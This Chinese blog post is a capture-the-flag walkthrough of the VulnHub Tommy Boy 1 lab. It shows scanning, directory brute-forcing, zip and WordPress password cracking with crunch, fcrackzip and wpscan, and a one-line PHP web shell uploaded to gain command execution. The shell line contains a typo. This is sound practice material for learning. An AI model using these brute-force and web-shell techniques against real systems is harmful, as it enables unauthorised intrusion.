• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-tommyboy1通关教程

扫描到的靶机170

nmap 192.168.135.0/24 -sP

我们发现建了两个站点

nmap 192.168.135.170

我们发现namp直接扫出了robots.txt里面会有第一条flag

nmap 192.168.135.170 -p- -A

从nmap扫出的路径我们获得了一个flag,很像路径/文件。。。

flag-numero-uno.txt

B34rcl4ws

我们访问网站,这里作者提示我们到网站下找第二条flag

https://www.youtube.com/watch?v=VUxOd4CszJ8--

通过视频我们获得了第二个flag,这个需要科学,不要随便尝试

prehistoricforest

不得不掏出dirsearch了,手速要快,不然15分钟ftp下线就要等1小时,博客评论区下的评论是flag2地址。

Z4l1nsky

Dirsearch -h http://192.168.135.170/prehistoricforest/ -x 403

nikto -h http://192.168.135.170/prehistoricforest/

dirb http://192.168.135.170/prehistoricforest/ -X .php

通过dirb我们发现了CMS信息和一个目录。我们访问目录发现是一张图片。

我们将图片下载下来查看他的隐写。

exiftool shockedrichard.jpg

我们用功hash-identifier看看里面什么值

Hash-identifier

使用md5解密他们

这个spanky估计是凭证那么我们访问受保护的文件发现密码nickburns

没有招了15分钟再来登录ftp吧

ftp 192.168.135.170 65534

nickburns

dir

get readme.txt

通过ftp枚举到的信息我们发现了有个bigtom,和目录NickIzL33t,我们访问目录去枚举信息没准可以获得账号密码。

这里需要用到插件将iPhone信息转换,我们得出信息发现它还隐藏了html的信息。。。

主要是dirb太慢了我们用wfuzz模糊测试。

dirb http://192.168.135.170:8008/NickIzL33t /usr/share/wordlists/rockyou.txt -X .html

wfuzz -w /usr/share/wordlists/rockyou.txt –sc 200 http://192.168.135.170:8008/NickIzL33t/FUZZ.html

爆破出来一个html的路径,我们访问它有三个提示,1是我们社工字典的提示,2是我们的第三个flagTinyHead,3是一个zip文件下载

我们发现这个zip包解压还需要密码,我们根据提示生成社工字典。

Unzip unzip t0msp4ssw0rdz.zip

将zip包移动到桌面,我们根据提示生成字典,用工具fcrackzip来爆破zip的密码。

crunch 13 13 -t bev,%%@@^1995 -o pass.txt

fcrackzip -v -D -u -p pass.txt t0msp4ssw0rdz.zip

爆破得到zip的密码bevH00tr$1995通过解压zip文件我们获得了一个passwords.txt

unzip t0msp4ssw0rdz.zip

查看txt文件,我们发现了有四个用户其中三个是带密码的,有一个说它不太记得bigtommysenior的完整密码了,但是他将提示放在了博客站上。

cat passwords.txt

Username: BigTommyC//Password: money

Username: TomC//Password: wedding

Username: bigtommysenior//Password: fatguyinalittlecoat

Username: bigtom(I think?)//Password: ???

我们之前再dirsearch枚举时发现了他的CMS,那我们就用wpscan来爆一下他的后台

wpscan --url http://192.168.135.170/prehistoricforest/ -eu

这里我们又发现了几个用户名tommy//Richard//tom//Tom Jr//Big Tom//michelle,根据之前再博客站上面他们的讨论发现我们要爆破tom的密码来登录tom。

那么我们就用wpscan来爆破tom的后台登录密码。爆破出tom的密码是tomtom1

wpscan -U tom -P /usr/share/wordlists/rockyou.txt --max-threads 50 --url http://192.168.135.170/prehistoricforest/

进入后台我们也能发现再首页发现的flag2信息。

从这里我们发现了bigtommysenior缺失的密码信息1938!!那么完整的密码就是fatguyinalittlecoat1938!!

我们登录bigtommysenior//fatguyinalittlecoat1938!!的ssh

ssh bigtommysenior@192.168.135.170

在当前用户下我们发现了第四个flag信息EditButton

cat el-flag-numero-quatro.txt

我们手工枚举一下信息,发现可以用内核提权,运行MySQL但是是本地运行而且不是root运行的无法udf提权

Ps -aux | grep mysql

Ss -plunt | grep 3306

根据枚举到的信息提示说我们需要将所以的flag合并并修复网页才能获得信息。。。并解压压缩包

B34rcl4ws-Z4l1nsky-TinyHead-EditButton

B34rcl4wsZ4l1nskyTinyHeadEditButton

www-data是.5.txt的所有者,需要拿到www-data的shell可以读取

我们在jobs站的目录下发现flag3信息TinyHead

除了flag3我们还发现了一个目录P4TCH_4D4MS,进到目录里发现文件上传

尝试发现无法上传php-reserver-shell.php,白名单限制只能上传图片,我们直接在网站目录下写入木马yang.php,执行命令。

<?php system($GET_[‘cmd’]); ?>

访问目录uploads,发现回显空白说明脚本执行,我们执行cmd命令。

/uploads/yang.php?cmd=id

当我们能够在www-data执行命令相当于执行了shell,我们就可以查看.5.txt的内容

这里他告诉我们第五个flag-Buttcrack

通过查看内容发现这个zip的密码就是把我们之前拿到的所有flag合在一起。

B34rcl4ws-Z4l1nsky-TinyHead-EditButton-Buttcrack

B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack

拿完flag,解压zip我们的任务就结束了。

B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack

但是我们还是要提权,记得内核提权吗?简简单单,我就不给出命令了。

这里GCC编译也不用太头疼,都会给方法,虽说刚开始我也好奇

这里没有flag?没事这靶机我们拿了5个了够了。。。这台靶机就是考验我们信息收集的能力,总结一下就是我们收集到的robots拿到第一个flag,从视频上知道的目录获取到flag2的位置,在未建立好的网站上我们发现了账号密码的关键信息(一些前置信息我们从java的邮件服务获取smtp/pop),还获得了flag3。登录ssh就发现了flag4,在网站目录下我们发现了upload,我们通过一句话木马执行命令查看.5.txt信息拿到flag5,将他们合成解压密码通过。我们用内核提权获得root权限,虽说这关不需要。

posted on 2026-10-29 20:36  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3